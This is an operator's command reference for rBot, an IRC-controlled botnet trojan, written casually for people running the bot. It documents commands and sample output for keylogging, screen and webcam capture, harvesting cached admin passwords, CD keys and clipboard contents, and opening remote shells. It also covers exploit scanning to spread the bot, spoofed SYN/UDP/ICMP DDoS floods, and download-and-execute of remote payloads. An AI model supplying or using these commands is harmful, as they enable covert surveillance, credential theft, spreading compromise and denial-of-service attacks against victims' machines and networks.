rBot Command Reference

For Use With Most rBots(This Command List Has added commands for "rBot Modded By DonttCare AKA D0NTTCARE"
Heh.

General Commands - Scanning Functions - Clones - DDoS Functions - Downloading & Updating - Redirecting - FTP Functions

Command Name Alias Syntax Command Information Example
General Commands
action a .a <channel/user> <message> Causes a action to <channel/user> with <message>. <@moose> .action #channel implodes irrationally
[In #channel...]
* camel implodes irrationally
addalias aa .aa <alias name> <command> Add an alias by the name of <alias name> and executes <command> when called. <@moose> .addalias hello privmsg $chan hello
<@moose> .hello
<camel> hello
aliases al .aliases Displays all the current aliases (if any). <@moose> .aliases
<camel> -[alias list]-
<camel> 0. opme = mode $chan +o $user
<camel> 1. spastic = syn $1 445 120
capture cap Screenshot
.capture screen <filename>
Webcam Image
.capture frame <filename> <input no.> <width> <height>
Video
.capture video <filename> <input no.> <length> <width> <height>
Generates an image of the what ever requested. Can be from a webcam, desktop or even make a movie from a webcam. (Generates a ~3MB file for screenshots) <@moose> .capture screen C:\Screenshot.jpg
<camel> [CAPTURE]: Screen capture saved to: C:\Screenshot.jpg.
clearlog clg .clearlog Clears whatever has been logged since the start. <@moose> .clearlog
<camel> [LOGS]: Cleared.
clone c .clone <server> <port> <channel> [channel key] Creates a clone on the server in the channel specified. <@moose> .clone irc.easynews.com 6667 #moose
<camel> [CLONES]: Created on irc.easynews.com:6667, in channel #moose.
cmd cm .cmd <remote command> Sends <command> to an open remote console. <@moose> .cmd dir
<camel> [CMD]: Commands: dir
cmdstop   .cmdstop Stops a remote console. <@moose> .cmdstop
<camel> [CMD] Remote shell stopped. (1 thread(s) stopped)
crash   .crash Crashes the bot. *Dont Do this unless you want the bot to die* <@moose> .crash
<camel> [MAIN]: Crashing bot.
currentip cip .currentip [thread number] Returns the current IP scanning, or IP from the [thread number]. <@moose> .currentip
<camel> [SCAN]: Scanning IP: 24.222.212.37, Port: 139.
cycle cy .cycle <delay> <channel> [key] Parts <channel>, waits <delay> seconds and joins again with [key]. <@moose> .cycle 5 #help
* camel has left the channel.
 [5 seconds later...]
* camel has joined the channel.
delay de .delay <number in seconds> <command> Sleeps for <seconds> and then executes <command> <@moose> .delay 10 .quit
[10 seconds later...]
* camel has quit (Quit: later)
delete del .delete <file> Removes <file>. <@moose> .delete C:\Screenshot.jpg
<camel> [FILE]: Deleted 'C:\Screenshot.jpg'.
die   .die Kills all the threads and the bot, does not perform any clean up actions. <@moose> .die
* camel has quit (Quit: Connection Reset by Peer)
disconnect dc .disconnect Disconnects the bot from the server, but keeps the process running. Reconnects 30 minutes later. (No threads are killed). <@moose> .disconnect
* camel has quit (Quit: later.)
dns   .dns <ip/host> Resolves <ip/host>. <@moose> .dns www.google.com
<camel> [DNS]: Lookup: www.google.com -> 216.239.33.101.
driveinfo drv .driveinfo Returns total, free, and used space on all available drives. <@moose> .driveinfo
<camel> [MAIN]: Disk Drive (C:\): 10,506,476KB total, 4,456,888KB free, 4,456,888KB available.
<camel> [MAIN]: Cdrom Drive (D:\): Failed to stat, device not ready.
email   email <server> <port> <sender> <to> <subject> Sends an email to <to> from <sender> with <subject> using <server>:<port> *Although I DO NOT recomend useing this command, if entered wrong it can be very buggy and crash the bot <@moose> .email pop3.hotmail.com 110 linus@linux.org bill@microsoft.com Linux > Microsoft
<camel> [EMAIL]: Message sent to bill@microsoft.com.
encrypt enc .encrypt I'm not sure what this actually does. From what I read, it encrypts something, but only when DUMP_ENCRYPT is enabled. It may even dump out the config file encrypted... <@moose> .encrypt
<camel> SOMETHING HERE!
execute e .execute <visibilty> <file> Runs <file>. If visibility is 1, runs the program visible, and 0 runs it hidden. <@moose> .execute 1 notepad.exe
<camel> [SHELL]: File opened: notepad.exe
findfile ff .findfile <wildcard> [directory] Searches for <wildcard> in the active directory (or [directory]) and returns the results. <@moose> .findfile *screenshot* c:\
<camel> [FINDFILE]: Searching for file: *screenshot*.
<camel> Found: C:\Screenshot.jpg
<camel> [FINDFILE]: Files found: 1.
findfilestop ffstop .findstop Stops searching for a file. (Pointless though, as there is already a loop going and it won't be able to stop this loop until it has finished. So be warned, don't use findfile :-P) <@moose> .findfilestop
<camel> [FINDFILE] Find file stopped. (1 thread(s) stopped)
findpass fp .findpass FindPass decodes and displays administrator logon credentials from Winlogon in Win2000 / Winnt4 + < sp6. Windows 2000 and Windows NT administrator passwords are CACHED by WinLogon using the Microsoft Graphical Identification and Authentication (MSGINA.DLL) module. <@moose> .findpass
<camel> [FINDPASS]: The Windows logon (Pid: <111>) information is: Domain: \\Windows, User: (Bill Gates/(no password)).
flusharp farp .flusharp Flushes the ARP cache (what ever use that is). <@moose> .flusharp
<camel> [FLUSHDNS]: ARP cache flushed.
flushdns fdns .flushdns Flushes the DNS cache (what ever use that is). <@moose> .flushdns
<camel> [FLUSHDNS]: DNS cache flushed.
get gt .get <file> Sends a file via DCC. <@moose> .get C:\Screenshot.jpg
<camel> [DCC]: Send File: C:\Screenshot.jpg, User: moose.
getcdkeys key .getcdkeys Returns keys of products installed on the computer. Includes games and Microsoft products. <@moose> .getcdkeys
<camel> Microsoft Windows Product ID CD Key: (11111-640-1111111-11111)
<camel> [CDKEYS]: Search completed.
getclip gc .getclip Prints out whatever is in the clipboard at that time. <@moose> .getclip
<camel> -[Clipboard Data]-
<camel> http://www.goat.cx
gethost gh .gethost <search for hostname> [command] Searches for wildcard in hostname, if true, executes commands. <@moose> .gethost microsoft.com
<camel> [NETINFO]: [Type]: LAN (LAN Connection). [IP Address]: 207.46.134.155. [Hostname]: microsoft.com.
httpcon hcon .hcon <host> <port> <method> <file> <referrer> Connects to <host>:<port> with <method> <file>, using <referrer> as it's referrer. (Has a tendancy to crash the bot, don't ask me why). <@moose> .httpcon 24.222.212.37 80 GET / http://www.google.com
*crashes*
httpstop   .httpstop Stops the webserver running on the port in config.h. <@moose> .httpstop
<camel> [HTTPD]: Server stopped. (1 thread(s) stopped.)
httpserver http .httpserver [port] [directory] Starts a webserver on the port specified in config.h, and with a root dir of C:\. Uses alternative options if specified. <@moose> .http
<camel> [HTTPD]: Server listening on IP: 216.239.33.101:81, Directory: \.
id i .id Returns the ID. <@moose> .id
<camel> Camel-toe.
identd identd .id <on|off> Stops or starts the Identd server running. <@moose> .identd on
<camel> [IDENTD]: Server running on Port: 113.
join j .join <channel> [key] Joins <channel> (with [key]). <@moose> .join #chat
[In #chat...] * camel has joined #chat
keylog   .keylog <on|off> A working keylogger. Outputs any input to file specified in config.h <@moose> .keylog on
<camel> [KEYLOG]: Key logger active.
<camel> [KEYLOG]: (Changed Windows: C:\)
kill ki .kill <pid> Kills a process according to it's PID. <@moose> .kill 4
<camel> [PROC]: Process killed ID: 4
killproc kp .killproc <process name> Kills a process according to it's name. <@moose> .kill system.exe
<camel> [PROC]: Process killed: system.exe
killthread k .killthread <all|thread number> Kills an internal thread. <@moose> .killthread 1
<camel> [THREADS]: Killed thread: 1
list li .list <wildcard> List and searches for files using wildcard. (NB: Must be *wildcard*) <@moose> .list *cmd*
<camel> Searching for: *cmd*
<camel> login.cmd 08/23/2001 09:30 PM (487 bytes)
<camel> Found 1 Files and 0 Directories
log lg .log Returns the log since it began. Contains: commands, logins, logouts and connections. <@moose> .list *cmd*
<camel> [LOG]: Begin
<camel> [06-04-2004 22:35:33] [MAIN]: User: moose logged in.
<camel> [06-04-2004 20:49:35] [MAIN]: Joined channel: #moose.
<camel> [06-04-2004 20:49:35] [IDENTD]: Client connection from IP: 24.222.212.37:22400.
<camel> [06-04-2004 20:49:35] [MAIN]: Connected to irc.microsoft.com.
<camel> [06-04-2004 20:49:35] [IDENTD]: Server running on Port: 113.
<camel> [06-04-2004 20:49:35] [MAIN]: Bot started.
<camel> [LOG]: List complete.
login l .login <password> Logs a user in if the password is the same as the one in config.h. <@moose> .login xxxxxx
<camel> [MAIN]: Password accepted.
logout lo .logout [slot] Logs out the user, it can also be used to log out other in active users. <@moose> .who
<camel> -[Login List]-
<camel> 0. moose!moose@internet.yahoo.com
<camel> 1. antelope!deer@i-own.blogspot.com
<camel> 2. <Empty>
<@moose> .logout 1
<camel> [MAIN]: User antelope logged out
logstop   .logstop Stops listing the log. <@moose> .logstop
<camel> [LOG]: Log list stopped. (1 thread(s) stopped.)
mirccmd mirc .mirc <command> If a mIRC window is open, it will be feed through it as if you would have typed it manually. <@moose> .mirccmd //scon -a ame is bored
<camel> [mIRC]: Command sent.
[In every of the user's channels...]
* tomorrow is bored
mode m .mode <channel> <modes> Changes modes in <channel> <@moose> .mode #help +o moose
[In #help...]
* camel sets mode +o moose
net   .net <command> [<service>/<share name>/<username>] [<resource>/<password>] [-d] A basic net.exe. Net help
netinfo ni .netinfo Returns network and IP information. <@moose> .netinfo
<camel> [NETINFO]: [Type]: LAN (LAN Connection). [IP Address]: 207.46.134.155. [Hostname]: microsoft.com.
nick n .nick <new nick> Changes nickname to the new one specified. <@moose> .nick marker
* camel is now know as marker
open o .open <file> Unlike execute, this isn't just limited to programs. Open can open web browsers and images. <@moose> .open http://www.mozilla.org/products/firefox
<camel> [SHELL]: File opened: http://www.mozilla.org/products/firefox
opencmd ocmd .opencmd Executes a remote shell. <@moose> .opencmd
<camel> [CMD]: Remote shell ready.
part pt .part <channel> Parts <channel> <@moose> .part #help
[In #help...]
* Parts: camel
prefix pr .prefix <new prefix> Changes the command prefix to the new one (up until the bot is restarted). <@moose> .prefix ?
<camel> [MAIN]: Prefix changed to: '?'.
<@moose> ?ni
<camel> [NETINFO]: [Type]: LAN (LAN Connection). [IP Address]: 207.46.134.155. [Hostname]: microsoft.com.
psniff   .psniff <on|off> [channel to output to] A very buggy packet sniffer, gets into loop with the error messages. Not recommended to be using this.  
privmsg pm .privmsg <channel/user> <message> Messages <channel/user> with <message>. <@moose> .privmsg #chat Hello lusers.
[In #Chat...]
<camel> Hello lusers.
procs ps .procs Lists all the current processes. <@moose> .procs
<camel> [PROC]: Listing processes:
<camel> System (4)
<camel> smss.exe (380)
<camel> csrss.exe (436)
<camel> [PROC]: Process list completed.
etc.
process_stop p_stop .process_stop Stops listing the processes <@moose> .process_stop
<camel> [PROC]: Process list stopped. (1 thread(s) stopped.)
quit q .quit [message] Quits (if specified, with a message), kills all threads and closes. <@moose> .quit
* camel quit (Quit: later)
raw r .raw <raw> Sends a raw to the server. <@moose> .raw QUIT :what.
* camel quit (Quit: what)
readfile rf .readfile <filename> Reads the contents of a file. <@moose> .read onelinefile.txt
<camel> This is one line
<camel> [MAIN]: Read file complete: onelinefile.txt
reboot   .reboot Reboots the users machine. <@moose> .reboot
<camel> [MAIN]: Rebooting system.
reconnect r .reconnect Reconnects, getting a new ident and nickname. <@moose> .reconnect
* camel has quit (Quit: Client Exited)
* qewuyuf has joined #moose
remove rm .remove Removes the bot completely.*This will completly delete the bot and its registry so i highly advise you only do this if your closing down your bots or you accidently installed it on your computer* <@moose> .remove
<camel> [MAIN]: Removing Bot.
rename mv .rename <old> <new> Renames <old> to <new> <@moose> .rename C:\Screenshot.jpg C:\hell.jpg
<camel> [FILE]: Rename: 'C:\Screenshot' to: 'C:\hell.jpg'.
repeat rp .rename <number of times> <command> Repeats <command> <times>. <@moose> .repeat 3 ,privmsg #moose hello
<camel> hello
<camel> hello
<camel> hello
rloginserver rlogin .rloginserver [port] [username] Starts a Rlogin server. Rlogin is what the rBot creators have done so you can remotely access the bot, without having be on IRC. <@moose> .rloginserver
<camel> [RLOGIND]: Server listening on IP: 216.239.33.101:37, Username: moose.
rloginstop   .rloginstop Stops a rlogin server. <@moose> .rloginstop
<camel> [RLOGIND]: Server stopped. (1 thread(s) stopped).
rndnick rn .rndnick Change to a random nick. <@moose> .rndnick
* camel is now know as howshos
secure sec
unsecure
unsec
.secure Makes sure that any holes that are exploitable are patched up. Giving it the "secure" look. <@moose> .secure
<camel> [SECURE]: Securing system.
securestop   .securestop Stops any securing possible. <@moose> .securestop
<camel> [SECURE]: Securing stopped. (1 thread(s) stopped).
server se .server <new server> Updates the server to the new server. <@moose> .server irc.dal.net
<@moose> .reconnect
[Connects to irc.dal.net...]
socks4 s4 .socks4 [new server] [-a] Starts a socks4 server on the computer on the port specified in config.h, or by a number given by command. <@moose> .socks4
<camel> [SOCKS4]: Server started on: 216.239.33.101:28364
socks4stop   .socks4stop Stops a socks4 server <@moose> .socks4stop
<camel> [SOCKS4]: Server stopped. (1 thread(s) stopped.)
status s .status Returns the uptime of the bot. <@moose> .status
<camel> [MAIN]: Status: Ready. Bot Uptime: 11d 4h 3m.
sysinfo si .sysinfo Returns information about the system. <@moose> .sysinfo
<camel> [SYSINFO]: [CPU]: 2210MHz. [RAM]: 1,048,576KB total, 649,216KB free. [Disk]: 10,506,476KB total, 4,446,864KB free. [OS]: Windows XP (Service Pack 1) (5.1, Build 2600). [Sysdir]: C:\WINDOWS\System32. [Hostname]: microsoft.com (207.46.134.155). [Current User]: Bill Gates. [Date]: 02:Jun:2004. [Time]: 23:04:47. [Uptime]: 17d 8h 28m.
threads t .threads Lists all the current threads. <@moose> .threads
<camel> -[Thread List]-
<camel> 0. [MAIN]: Bot started.
<camel> 1. [IDENTD]: Server running on Port: 113.
<camel> 2. [TCP]: Spoofed ack flooding: (24.222.212.37:337) for 120 seconds.
<camel> 3. [TFTP]: Server started on Port: 2183, File: C:\WINDOWS\System32\commmand.exe, Request: commmand.exe.
<camel> 4. [THREADS]: List threads.
uptime up .uptime Returns the uptime of the system. <@moose> .uptime
<camel> [MAIN]: Uptime: 17d 8h 28m.
version ver .version Outputs the version specified in config.h. <@moose> .version
<camel> [MAIN]: rBot-Moose
visit v .visit <uri> [referrer] Visits <uri> <@moose> .visit http://www.kernel.org
<camel> [VISIT]: URL visited.
who   .who Returns who is logged in, and the amount of slots left to fill. <@moose> .who
<camel> -[Login List]-
<camel> 0. moose!moose@internet.yahoo.com
<camel> 1. antelope!deer@i-own.blogspot.com
<camel> 2. <Empty>
Scanning Functions
advscan asc .advscan <method> <threads> <delay> <length> [ip] [-abr] Starts a scan using <method> (check advscan.cpp) for <length> with <threads> on a delay of <delay>. If -a is specified, starts a scan using the A class on the bot. Likewise with -b. Using -r makes the rest of the ip become random. If a,b or r aren't specified, the [ip] must be in format: A.B.C.D. X can be used as one of the numbers, as it is evaluated as a random number. <@moose> .advscan netbios 100 5 120 -b -r
<camel> [SCAN]: Random Port Scan started on 192.168.x.x:139 with a delay of 5 seconds for 120 minutes using 100 threads.
scan sc .scan <ip> <port> <delay> Starts a port scan at <ip>:<port> with delays of <delay>. <@moose> .scan 24.222.212.37 445 10
<camel> [SCAN]: Port scan started: 24.222.212.37:445 with delay: 10(ms).
scanstats stats .scanstats Returns various information about a scan. Returning how many exploits there has been found. <@moose> .scanstats
<camel> [SCAN]: Exploit Statistics: WebDav: 0, NetBios: 0, NTPass: 0, Dcom135: 0, Dcom445: 0, Dcom1025: 0, Dcom2: 0, MSSQL: 0, Beagle1: 0, Beagle2: 0, MyDoom: 0, lsass: 10, Optix: 0, UPNP: 0, NetDevil: 0, DameWare: 0, Kuang2: 0, Sub7: 0, Total: 0 in 0d 0h 0m.
scanstop   .scanstop Stops whatever scans are in progress and kills the threads. <@moose> .scanstop
<camel> [SCAN]: Scan stopped. (11 thread(s) stopped.)
Clone Functions
c_action c_a .c_action <thread> <channel/user> <message> Causes a clone (thread: <thread>) to do an action to <channel/user> with <message> <@moose> .c_action 1 #help partially stabz self
[In #help...]
* clonal partially stabz self
c_join c_j .c_join <thread> <channel> [key] Causes a clone (thread: <thread>) to join <channel> with [key] <@moose> .c_join 1 #Chat
[In #Chat...]
* clonal has join #Chat
c_mode c_m .c_mode <thread> <channel> <modes> Causes a clone (thread: <thread>) to do <modes> in <channel> <@moose> .c_mode 1 #chat +o moose
[In #Chat...]
* clonal has set mode +o moose
c_nick c_n .c_nick <thread> <new nick> Causes a clone (thread: <thread>) to change nicks to <new nick> <@moose> .c_nick 1 clenal
* clonal is now know as clenal
c_privmsg c_pm .c_privmsg <thread> <channel/user> <message> Causes a clone (thread: <thread>) to send <message> to <channel/user> <@moose> .c_privmsg 1 #chat Hello lusers.
[In #Chat...]
<clonal> Hello lusers.
c_quit c_q .c_quit <thread> Causes a clone (thread: <thread>) to quit. <@moose> .c_quit 1
* clone has quit (Quit: later.)
c_raw c_r .c_raw <thread> <irc raw> Causes a clone (thread: <thread>) to send <irc raw> to the server <@moose> .c_raw 1 QUIT :wut
* clone has quit (Quit: wut)
c_rndnick c_rn .c_rndnick <thread> Causes a clone (thread: <thread>) to change to a random nick. <@moose> .c_rndnick
* clone is now know as esfgisd
DDoS Functions
ddos.stop   .ddos.stop Stops whatever DDoS threads there are. <@moose> .ddos.stop
<camel> [DDoS] DDoS flood stopped. (1 thread(s) stopped)
ddos.syn
ddos.ack
ddos.random
  .ddos.syn <ip> <port> <length>
.ddos.ack <ip> <port> <length>
.ddos.random <ip> <port> <length>
Starts a DDoS (syn, ack, or random) on <ip>:<port> for <length> <@moose> .ddos.random
<camel> [DDoS]: Flooding: (24.222.212.37:337) for 120 seconds.
icmpflood icmp .icmpflood <ip> <length> [-r] Starts a ICMP flood on <ip> for <length>. If -r is present it spoofs the IP's. <@moose> .icmpflood 24.222.212.37 120 -r
<camel> [ICMP]: Flooding: (24.222.212.37) for 60 seconds.
pingflood ping
p
.pingflood <ip> <packets> <size of packets> <delay> Sends <number of packets> to <ip> with sizes of <size> and a delay of <delay>. <@moose> .pingflood 24.222.212.37 120 1000 4096 100
<camel> [UDP]: Sending 1000 packets to: 24.222.212.37. Packet size: 4096, Delay: 100(ms).
pingstop   .pingstop Stops a pingflood. <@moose> .pingstop
<camel> [PING] Ping flood stopped. (1 thread(s) stopped)
synflood syn .synflood <ip> <port> <length> Synfloods <ip>:<port> for <length> seconds. <@moose> .synflood 24.222.212.37 337 120
<camel> [SYN]: Flooding: (24.222.212.37:337) for 120 seconds.
synstop   .synstop Stops a synflood. <@moose> .pingstop
<camel> [SYN]: Syn flood stopped. (1 thread(s) stopped.)
tcpflood tcp .tcpflood <method> <ip> <port> <length> [-r] Methods can be: syn, ack or random. TCP floods <ip>:<port> for <length> seconds. If -r is specified, flood is spoofed. <@moose> .tcpflood ack 24.222.212.37 337 120 -r
<camel> [TCP]: Spoofed ack flooding: (24.222.212.37:337) for 120 seconds.
udpflood udp
u
.udpflood <ip> <packets> <size of> <delay> [port] UDPfloods <ip>:[port] (<packets>, all sizes of <size of>) with a <delay> second delay <@moose> .udpflood 24.222.212.37 1000 4096 100
<camel> [UDP]: Sending 1000 packets to: 24.222.212.37. Packet size: 4096, Delay: 100(ms).
udpstop   .udpstop Stops a UDP flood. <@moose> .udpstop
<camel> [UDP] UDP flood stopped. (1 thread(s) stopped)
Downloads
download dl .download <url> <destination> <action> Downloads <url> and saves to <destination>. If <action> is 1, file is also executed, otherwise it is just saved. <@moose> .download http://nsa.gov/file.exe c:\windows\devldr32.exe 1
<camel> [DOWNLOAD]: Downloading URL: http://nsa.gov/file.exe to: c:\windows\devldr32.exe.
<camel> [DOWNLOAD]: Downloaded 92.1 KB to c:\windows\devldr32.exe @ 92.1 KB/sec.
<camel> [DOWNLOAD]: Opened: c:\windows\devldr32.exe.
update   .update <url> <id> If <id> is different that of already on there, the file is downloaded and updated. <@moose> .update http://nsa.gov/file.exe mouse1
<camel> [UPDATE]: Downloading update from: http://nsa.gov/file.exe.
Redirecting
redirect rd .redirect <local port> <remote host> <remote port> Creates a simple TCP redirection. A basic port forwarding section. Will forward all connections to <local port> to <remote host>:<remote port>. <@moose> .redirect 80 www.google.com 80
<camel> [REDIRECT]: TCP redirect created from: 207.46.134.155:80 to: www.google.com:80.
redirectstop   .redirectstop <thread> Stops a redirection. <@moose> .redirectstop 1
<camel> [REDIRECT] TCP redirect stopped. (1 thread(s) stopped)
FTP Functions
tftpserver tftp .tftpserver I'm not sure what this does at the moment. I'm sure I'll work it out :-P  
tftpstop   .tftpstop Stops a TFTP (Server? Download? Upload?) <@moose> .tftpstop
<camel> [TFTP] Server stopped. (1 thread(s) stopped)
upload   .upload (something) I have absolutely no idea how this one works.